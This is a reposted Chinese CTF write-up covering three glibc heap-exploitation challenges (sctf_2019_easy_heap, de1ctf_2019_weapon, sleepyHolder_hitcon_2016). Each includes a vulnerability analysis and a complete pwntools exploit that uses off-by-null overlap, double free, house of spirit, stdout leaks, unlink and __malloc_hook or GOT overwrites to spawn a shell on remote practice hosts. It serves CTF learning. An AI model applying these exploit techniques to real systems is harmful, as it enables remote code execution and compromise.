sctf_2019_easy_heap(off-by-null块重叠,double free)
这题原题目好像是在Ubuntu16下的,但是BUU上面是Ubuntu18,所以应该更简单一点
总的来说,这题应该是ciscn_2019_final_3的加强版吧,当然也有更简单的地方
首先,给了我们一块rwx的空间
add函数会给你content的地址存放位置,不过我觉得没什么用
my_read中,只有长度和size一样才会加\x00,而且是off-by-null
利用思路
- 这步和ciscn_2019_final_3
差不多,区别是这题没有大小限制能直接申请出unsorted bin范围内的chunk,利用块重叠申请同一内存区域两次 - 利用上一步中申请出的同一内存heap[1,2]进行double free,然后house of spirit把shellcode写进一开始mmap的内存
- 再次利用第一步的办法,不过这次要把heap[1,2]中的一个放进tcache,这里我释放了1,然后利用unsorted bin的切割技术把main_arena+0x60的地址留在tcache的fd,然后编辑2,把最低8比特改为\x30,使其执行__malloc_hook,然后再申请两次就把__malloc_hook给申请出来,写入之前给我们的地址,再次malloc就能执行shellcode了
Exp:
from pwn import *
menu = ">> "
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Pointer Address ")
addr = int(r.recvuntil('\n').strip(), 16)
return addr
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Content: ")
r.send(content)
r = remote("node3.buuoj.cn", 26109)
#r = process("./sctf_2019_easy_heap")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xC48)
x/20gx $rebase(0x202060)
c
''')
elf = ELF("./sctf_2019_easy_heap")
libc = ELF("./libc/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
r.recvuntil("Mmap: ")
my_addr = int(r.recvuntil('\n').strip(), 16)
add(0x508)#0
add(0x68)#1
add(0x5f8)#2
add(0x18)#3
add(0x68)#4
delete(0)
edit(1, 'a'*0x60+p64(0x580))
delete(2)
add(0x508)#0
add(0x68)#2
#pause()
delete(4)
delete(1)
delete(2)
add(0x68)#1
edit(1, p64(my_addr)+'\n')
add(0x68)#2
add(0x68)#4 my_addr
edit(4, asm(shellcraft.sh())+'\n')
add(0x5f8)#5
delete(0)
edit(1, 'a'*0x60+p64(0x580))
delete(1)
delete(5)
pause()
add(0x508)#0
edit(2, '\x30\n')
add(0x68)#1
add(0x68)#5 malloc_hook
edit(5, p64(my_addr)+'\n')
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline('10')
r.interactive()
de1ctf_2019_weapon(UAF块重叠,_IO_FILE泄露libc)
题目分析
只有添加,删除和编辑
删除时指针悬挂
添加时限制大小为0-0x60
编号为0-9
漏洞利用
- 申请这么几个
add(0, 0x60, p64(0)+p64(0x71))#填入伪造chunk头部
add(1, 0x60, 'chunk1\n')
add(2, 0x60, p64(0)*3+p64(0x51))#为了过检查
- 释放0和1,UAF编辑1,把fastbin的fd改为chunk0的payload部分(就是上面伪造的那个,使用partial rewrite),这样再申请2次0x60大小[3,4]时,chunk1的size部分就可以被4编辑了
- 再把1释放,然后用4把1的size改为0x91,再次释放使其进入unsorted bin,这样main_arena+0x58就留在了1(fastbin)的fd,再次使用partial rewrite把其覆盖为
_IO_2_1_stdout_-0x43
,如下图所示,利用错位伪造出的size(最低12位为0x5dd,这里需要爆破1个比特)
- 如果上面爆破成功,申请出这块内存,我们就把
_IO_2_1_stdout_
的内容改为p64(0xfbad1887) + p64(0)*3 + '\x18'
,然后就能泄露出libc了
- 再来一次doubel free,利用house of spirit把
__malloc_hook
写入one_gadget
Exp
from pwn import *
menu = "choice >> \n"
def add(index, size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("wlecome input your size of weapon: ")
r.sendline(str(size))
r.recvuntil("input index: ")
r.sendline(str(index))
r.recvuntil("input your name:\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("input idx :")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("input idx: ")
r.sendline(str(index))
r.recvuntil("new content:\n")
r.send(content)
#r = remote("node3.buuoj.cn", 27089)
#r = process("./de1ctf_2019_weapon")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xE96)
x/20gx $rebase(0x202060)
c
''')
elf = ELF("./de1ctf_2019_weapon")
libc = ELF("./libc/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
add(0, 0x60, p64(0)+p64(0x71))
add(1, 0x60, 'chunk1\n')
add(2, 0x60, p64(0)*3+p64(0x51))
delete(0)
delete(1)
edit(1, '\x10')
add(3, 0x60, 'a\n')#same 1
add(4, 0x60, 'b\n')
delete(1)
edit(4, p64(0)*11+p64(0x91))
delete(1)
edit(4, p64(0)*11+p64(0x71))
edit(1, '\xdd\xe5')
add(5, 0x60, 'a\n')
payload = 'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + '\x18'
add(6, 0x60, payload)
libc.address = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) + 8 - libc.sym['_IO_2_1_stdout_']
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
success("malloc_hook:"+hex(malloc_hook))
r.sendline('2')
r.recvuntil("input idx :")
r.sendline('1')
delete(0)
delete(1)
add(7, 0x60, p64(malloc_hook-0x23))
add(7, 0x60, p64(malloc_hook-0x23))
add(7, 0x60, p64(malloc_hook-0x23))
add(8, 0x60, 'a'*0x13 + p64(one_gadget))
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("wlecome input your size of weapon: ")
r.sendline('10')
r.recvuntil("input index: ")
r.sendline('9')
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 27089)
try:
pwn()
except:
r.close()
sleepyHolder_hitcon_2016(fastbin_dup_consolidate,unlink)
看来是修改GOT表了
题目分析
还是添加删除和编辑功能
添加功能大小不能指定,分别为40,4000,400000
free时候指针悬挂
不过没法UAF
漏洞利用
这题利用的是一种叫fastbin_dup_consolidate
的办法
我们知道,Ubuntu16中有对fastbin的double free检查,之间double free必然报错,而small bin却没有相应检查,这样我们如果能把fastbin中的chunk弄到small bin中,再次释放该chunk又申请回来就能编辑它了
那要怎么把fastbin弄到small bin中呢,本题中有一个huge的申请,大小为400000
在进行该申请时,大小一般比topchunk大,因此内存管理器会把fastbin中的Bin放入small bin并且调用mmap,如下
第一次释放,进入fastbin
申请huge之后,进入small bin
double free
此时我们把它再申请回来,并在其中伪造chunk,使用unlink攻击把small中地址改为small-0x18,后面就是修改free的GOT为puts泄露libc,修改aoti的got为system获得shell
Exp
from pwn import *
menu = "3. Renew secret\n"
def add(type, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("2. Big secret\n")
r.sendline(str(type))
r.recvuntil("Tell me your secret: \n")
r.send(content)
def delete(type):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("2. Big secret\n")
r.sendline(str(type))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("2. Big secret\n")
r.sendline(str(index))
r.recvuntil("Tell me your secret: \n")
r.send(content)
r = remote("node3.buuoj.cn", 26115)
#r = process("./sleepyHolder_hitcon_2016")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400DE3
x/20gx 0x6020C0
c
''')
elf = ELF("./sleepyHolder_hitcon_2016")
libc = ELF("./libc/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
small = 0x6020D0
big = 0x6020C0
puts = elf.plt['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
add(1, 'aa\n')
add(2, 'bb\n')
delete(1)
add(3, 'cc\n')
delete(1)
payload = p64(0) + p64(0x21) + p64(small-0x18) + p64(small-0x10) + p64(0x20)
add(1, payload)
delete(2)
payload = p64(0) + p64(big) + p64(0) + p64(free_got) + p32(1) * 3 + '\n'
edit(1, payload)
edit(1, p64(puts))
payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p32(1) * 3 + '\n'
edit(2, payload)
delete(2)
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.sym['atoi']
system = libc.sym['system']
success("libc:"+hex(libc.address))
edit(1, p64(system))
r.recvuntil(menu)
r.sendline('sh')
r.interactive()
转载:https://blog.csdn.net/weixin_44145820/article/details/105808255